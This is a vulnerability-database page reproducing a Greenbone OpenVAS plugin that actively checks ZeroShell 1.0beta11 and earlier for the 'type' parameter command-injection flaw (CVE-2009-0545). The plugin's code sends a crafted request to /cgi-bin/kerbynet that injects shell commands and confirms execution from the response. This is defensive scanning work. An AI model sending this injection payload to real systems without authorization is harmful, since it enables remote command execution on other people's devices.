Lucene search
+L

ZeroShell <= 1.0beta11 RCE Vulnerability - Active Check

🗓️ 19 Oct 2020 00:00:00Reported by Copyright (C) 2020 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 15 Views

ZeroShell RCE Vulnerability in 1.0beta11 and below. Fails to sanitize 'type' input for kerbyne

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2009-0545 — ZeroShell Remote Code Execution
12 Feb 200900:00
attackerkb
circl
Circl
CVE-2009-0545
9 Feb 200900:00
circl
checkpoint_advisories
Check Point Advisories
Zeroshell type Parameter Command Execution (CVE-2009-0545)
27 Apr 202100:00
checkpoint_advisories
cve
CVE
CVE-2009-0545
12 Feb 200923:00
cve
cvelist
Cvelist
CVE-2009-0545
12 Feb 200923:00
cvelist
exploitdb
Exploit DB
ZeroShell 1.0beta11 - Remote Code Execution
9 Feb 200900:00
exploitdb
metasploit
Metasploit
ZeroShell Remote Code Execution
22 Sep 201300:00
metasploit
nuclei
Nuclei
ZeroShell <= 1.0beta11 Remote Code Execution
11 Aug 202606:10
nuclei
nvd
NVD
CVE-2009-0545
12 Feb 200923:30
nvd
prion
Prion
Deserialization of untrusted data
12 Feb 200923:30
prion
Rows per page
# SPDX-FileCopyrightText: 2020 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108945");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2020-10-19 08:08:37 +0000 (Mon, 19 Oct 2020)");
  script_cve_id("CVE-2009-0545");
  script_name("ZeroShell <= 1.0beta11 RCE Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2020 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://ikkisoft.com/stuff/LC-2009-01.txt");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/33702");

  script_tag(name:"summary", value:"ZeroShell is prone to a remote code execution (RCE) vulnerability
  because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view files or execute
  arbitrary script code in the context of the web server process. This may aid in further attacks.");

  script_tag(name:"vuldetect", value:"Send a GET request, try to include a local file and check the response.");

  script_tag(name:"insight", value:"Input to the 'type' value in /cgi-bin/kerbynet is not properly sanitized.");

  script_tag(name:"solution", value:"Update to version 1.0beta12 or later.");

  script_tag(name:"affected", value:"ZeroShell versions 1.0beta11 and below.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("list_array_func.inc");

port = http_get_port(default:443);

buf = http_get_cache(item:"/", port:port);
if(!buf || ("<title>ZeroShell" >!< buf && "/cgi-bin/kerbynet" >!< buf))
  exit(0);

cmds = exploit_commands("linux");

foreach pattern(keys(cmds)) {

  cmd = cmds[pattern];

  url = "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;" + cmd + ";%22";
  req = http_get(item:url, port:port);
  buf = http_keepalive_send_recv(port:port, data:req);

  if(match = egrep(string:buf, pattern:pattern)) {

    info['1. URL'] = http_report_vuln_url(port:port, url:url, url_only:TRUE);
    info['2. Used command'] = cmd;
    info['3. Expected result'] = pattern;

    report  = 'By doing the following request:\n\n';
    report += text_format_table(array:info) + '\n\n';
    report += 'it was possible to execute a command on the target.';
    report += '\n\nResult: ' + chomp(match);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Mar 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 210
EPSS0.90386
15